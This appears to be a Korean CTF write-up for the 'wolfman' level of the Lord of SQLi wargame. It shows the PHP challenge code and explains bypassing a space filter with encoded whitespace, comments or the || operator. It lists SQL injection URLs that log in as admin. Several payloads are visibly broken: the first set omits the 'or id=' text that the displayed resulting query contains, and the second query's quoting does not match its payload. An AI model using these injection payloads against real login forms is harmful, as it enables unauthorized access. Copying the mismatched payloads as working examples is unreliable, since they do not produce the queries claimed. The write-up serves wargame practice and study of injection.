

# Lord of SQLi - wolfman

query : select id from prob\_wolfman where id='guest' and pw=''

```
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(|\)/i', $_GET[pw])) exit("No Hack ~~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
```

- GET방식으로 받고 '/' 인 공백만 필터링한다.
- 그러나 보통 SQL 쿼리를 작성 할 때 AND 나 OR를 작성하기 위해서는 공백이 필요하다.

## 1

- 여기서 필터링하는 공백은 URL인코딩 값으로 %20 을 뜻하는 것이므로  
%20을 제외한 %09, %0a, %0b, %0c, %0d, %a0, /\*\*/ 으로 우회가 가능하다.  
(원래는 괄호를 이용한 우회도 가능했지만 /prob|\_|\.|\(|\)/i 라는 정규식으로 필터링되어서 할 수 없다.)

## 2

- MySQL은 논리연산을 지원하는 것을 이용하여 푼다.
- ||, &&, 이런 것을 이용하여 푼다.

## payload

- 1.방법 풀이

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0a%0a%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0a%0a%27admin%27%23)

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%09%09%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%09%09%27admin%27%23)

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0b%0b%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0b%0b%27admin%27%23)

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0c%0c%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0c%0c%27admin%27%23)

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0d%0d%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%0d%0d%27admin%27%23)

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%a0%a0%27admin%27%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='%a0%a0%27admin%27%23)

query : select id from prob\_wolfman where id='guest' and pw='' or id='admin'#

- 2.방법 풀이

[http://los.eagle-jump.org/wolfman\\_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=||id='admin'%23](http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=||id='admin'%23)

query : select id from prob\_wolfman where id='guest' and pw="||id='admin'#"